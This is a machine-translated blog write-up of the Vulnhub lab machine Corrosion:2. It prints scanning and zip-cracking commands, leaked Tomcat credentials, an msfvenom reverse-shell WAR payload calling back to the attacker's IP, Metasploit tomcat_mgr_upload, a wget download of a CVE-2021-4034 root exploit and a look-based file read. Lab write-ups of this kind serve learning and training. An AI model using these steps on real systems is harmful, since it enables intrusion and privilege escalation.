当前位置:网站首页>Vulnhub range - correlation:2
Vulnhub range - correlation:2
2022-06-25 19:13:00 【Czheisenberg】
Get ready
attack : kali
Drone aircraft : CORROSION: 2 NAT 192.168.91.0 Network segment
Download link :
https://www.vulnhub.com/entry/corrosion-2,745/

Information collection and utilization
The host found

Get the target as shown in the figure IP Address : 192.168.91.189
Port scanning
nmap -sV -O -p- -T4 -A 192.168.91.189 --oN corronsion_nmap.txt
As shown in the figure, it is open : 22,80(apache2 default),8080(tomcat) There are three ports , This shows that the target plane web page is composed of java constitute . According to what I have done before tomcat For the target , Get into manager backstage , And then upload war Package to bounce shell.
HTTP
Directory scanning
python3 dirsearch.py -u http://192.168.91.189:8080/
Suspicious documents
There's a lot of stuff coming out of the scan . among docs,examples These two are tomcat Included documentation and examples .
Let's take a look at readme.txt and backup.zip.
http://192.168.91.189:8080/readme.txt
One said to the , Gave a file that no one could find ( Farting ) Open this file with a password , So it means backup.zip file , Download it .
wget http://192.168.91.189:8080/backup.zip
unzip backup.zip
As shown in the figure, you really need a password
Password cracking
zip2john backup.zip > password_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt

Get the password as shown in the figure :@administrator_hi5, It's coming out soon .
Now decompress
unzip backup.zip
As shown in the figure, the decompression is successful , Many documents
After a search in tomcat-users.xml The user name and password are found at the bottom of the file :

manager:melehifokivai
admin:melehifokivai
Both of these user names can log in tomcat backstage , Log in with two browsers respectively .

Now that I have logged into the backstage , We try to upload a war Bao ran bounced back shell.
Make war Bao can read my previous blog
https://www.ohhhhhh.top/2021/12/29/web penetration ——My-Tomcat-HOST-1/
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.27.243.168 LPORT=4444 -f war > shell.war

kali Turn on nc monitor , And then upload ( take shell.war copy to win11 in )
nc -lvnp 4444



Fuck you 404, It seems that this method will not work .md
And then I found out msfconsole One of them can getshell The module of can be matched with the account and password .
use exploit/multi/http/tomcat_mgr_upload
Set the contents of the red box , The account and password have been obtained .
then ** run **

run after , Input shell Get into shell Suspicious to see is tomcat user .
python3 -c "import pty;pty.spawn(’/bin/bash’)"
Enter this command to get the standard terminal

flag 1
In the catalog /home/randy There is the first one in flag : user.txt

/home/randy/note.txt

well , Randy , This is your system administrator , I hope you have a nice day ! I just want you to know
I changed your permissions on the home directory . You are temporarily unable to delete or add files .
I will change these permissions later .
See you next Monday randy!
Check it out. /etc/passwd Users that can exist in 
Method 1
Find out jaye The user's password and manager The passwords of are the same : melehifokivai
find / -perm -u=s -type f 2>/dev/null
lookup have SUID The command of found a familiar : polkit-agent-helper-1 cve Number :
CVE-2021-4034
exp Connect :
https://github.com/berdav/CVE-2021-4034
I found there was no... On the target plane git command , But you can use wget replace , Finally, I found that there was no make command , Then you can't compile , But we can kali Will have compiled files , Download to the target , And then run , In the future, you will directly upload the compiled files .

Download the compiled file to the target :
wget http://172.27.243.168:8000/CVE-2021-4034.zip
Then decompress
unzip CVE-2021-4034.zip
Then enter CVE-2021-4034 Folder , function ./cve-2021-4034, If there is no accident, you will get root jurisdiction

As shown in the picture, I got root jurisdiction , At this point, it passed again CVE-2021-4034 Mention right to success , It is a loophole that has existed for more than ten years !!!
flag 2

Method 2
jaye:melehifokivai ssh After landing , In its home directory File There is look command , Unauthorized access to files :
./look ‘’ '/root/root.txt’
Read the second one directly as shown in the figure flag , If you submit directly in the competition flag You can score .
Method 3
Reference the big guy's blog :
https://www.cnblogs.com/sainet/p/15668420.html# Three rights
I failed the test here , Maybe it's me .
summary
- CVE-2021-4034
- look Unauthorized reading of files
- msfconsole use exploit/multi/http/tomcat_mgr_upload getshell
/sainet/p/15668420.html#%E4%B8%89%E6%8F%90%E6%9D%83)
I failed the test here , Maybe it's me .
summary
- CVE-2021-4034
- look Unauthorized reading of files
- msfconsole use exploit/multi/http/tomcat_mgr_upload getshell
边栏推荐
- 六、HikariConfig的配置解析
- Paddleocr learning (II) paddleocr detection model training
- Kotlin compose terminate todo project Click to edit and modify todo
- PHP database connection version1.1
- Development status of China's hydrotalcite industry in 2020 and analysis of major enterprises: the market scale is rapidly increasing, and there is a large space for domestic substitution [figure]
- Genicam gentl standard ver1.5 (1)
- LeetCode-101-对称二叉树
- [today in history] June 25: the father of notebook was born; Windows 98 release; First commercial use of generic product code
- Guangzhou Sinovel interactive VR panorama brings development to all walks of life
- Elastic high-performance computing on the cloud supports the rapid development of the life science industry, reducing costs and increasing efficiency
猜你喜欢
![[elt.zip] openharmony paper Club - memory compression for data intensive applications](/img/54/8248c1d95b04498d44a00ea94a6c85.png)
[elt.zip] openharmony paper Club - memory compression for data intensive applications

Leetcode-101-symmetric binary tree
![Analysis on policy, output and market scale of China's natural gas hydrogen production industry in 2020 [figure]](/img/f2/ec0fe8bec503c8788d6d549845b95c.jpg)
Analysis on policy, output and market scale of China's natural gas hydrogen production industry in 2020 [figure]

PHP Chinese regular
![Analysis on development status and development suggestions of e-commerce industry in Xinjiang in 2020 [figure]](/img/d1/8ed2958ef365e17494bade6e29ee04.jpg)
Analysis on development status and development suggestions of e-commerce industry in Xinjiang in 2020 [figure]

Apifox simple understanding -- the integrator of web side testing

Apifox简单了解——WEB端测试的集大成者

Why are life science enterprises on the cloud in succession?

Kotlin compose terminate todo project Click to edit and modify todo
![Analysis on market scale and supply of China's needle coke industry in 2020 [figure]](/img/79/6b08b62be8768484f548b6e18bd810.jpg)
Analysis on market scale and supply of China's needle coke industry in 2020 [figure]
随机推荐
Analysis on development scale and development trend of China's night economy industry in 2021 [figure]
ECS 7-day practical training camp (Advanced route) -- day03 -- ecs+slb load balancing practice
R language uses the model of DALEX package_ The profile function interprets the relationship between a continuous feature and the target value Y in multiple classification models based on the conditio
Analysis on policy, output and market scale of China's natural gas hydrogen production industry in 2020 [figure]
广州华锐互动打造VR展厅全景在线虚拟展厅
Current situation and development suggestions of China's green PPP project industry: the investment scale is expanding, and the existing problems need to be improved to further promote the healthy dev
2、 Hikaricp source code analysis of connection acquisition process II
QQ robot: self forbidden words management of group members [latest beta2 version]
Analysis of China's medical device industry development environment (PEST) in 2021: the awareness of medical care is enhanced, and the demand for medical device products is also rising [figure]
QQ robot epidemic situation query / epidemic situation concern [latest beta2 version]
Shell jump loop shift parameter left use of function
Web development solution to cross domain problems
Network security detection and prevention test questions (I)
如何快速关闭8080端口
One night I worked as an XPath Terminator: XPath Helper Plus
Many varieties of EA can be used
Google SEO external chain releases 50+ website platform sharing (e6zzseo)
Analysis on development status and development suggestions of e-commerce industry in Xinjiang in 2020 [figure]
Principles of MySQL clustered index and non clustered index
Analysis of China's road freight volume, market scale and competition pattern in 2020 [figure]

